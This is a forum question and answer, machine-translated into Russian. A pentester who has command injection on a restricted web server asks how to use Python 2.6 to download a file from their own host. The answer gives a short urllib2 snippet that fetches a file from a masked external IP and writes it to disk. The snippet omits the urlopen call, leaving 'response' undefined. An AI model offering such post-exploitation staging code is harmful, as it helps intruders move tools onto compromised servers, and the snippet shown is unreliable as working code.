Python26 скрипт для захвата файла с удаленного хоста

Я ищу некоторую помощь с скриптом Python.

Я делаю проект pentesting и получил доступ к инъекции команды do и пишу файлы в системном каталоге wwwroot с ограниченными privs. ftp и telnet находятся в системе, но у меня нет разрешений на них. Единственное, что может быть действительно полезно в этот момент, это Python26, который находится в системе, и я могу использовать.
У меня есть минимальные реальные знания Python жизни, хотя.

Моя мысль… Есть ли способ использовать скрипт Python для вызова моего хост-компьютера и получения файла с хост-компьютера? И если да, то есть ли у кого-нибудь какие-то указания о том, как написать сценарий для этого?

Спасибо заранее.

1 ответ

  1. import urllib2
    file = "success2.txt"
    url = "http://xx.xx.xx.xx/test.txt"
    fh = open(file, "w")
    fh.write(response.read())
    fh.close()
    

    так что это то, что я сделал после предложения @furas.

    Я сделал больше исследований и нашел:
    http://www.pythonforbeginners.com/python-on-the-web/how-to-use-urllib2-in-python/

    что вполне объяснимо.

    Надеюсь, это поможет кому-то в будущем.

    Как я понимаю код.
    Сначала вы устанавливаете переменную «file», в которую вы будете писать (абсолютные пути могут иметь значение для удаленного использования)
    Затем задайте url-адрес, где находится файл, и имя файла

    Код затем файл для записи. Затем он записывает файл, который он открыл из url.

    В отличие от ftp это не кажется «копировать» файл напрямую. Таким образом, вам может потребоваться использовать «wb» в fh = open(file, «w»), который делает что-то о двоичном файле. Я не 100% разница между w и wb, но этот метод работал для меня.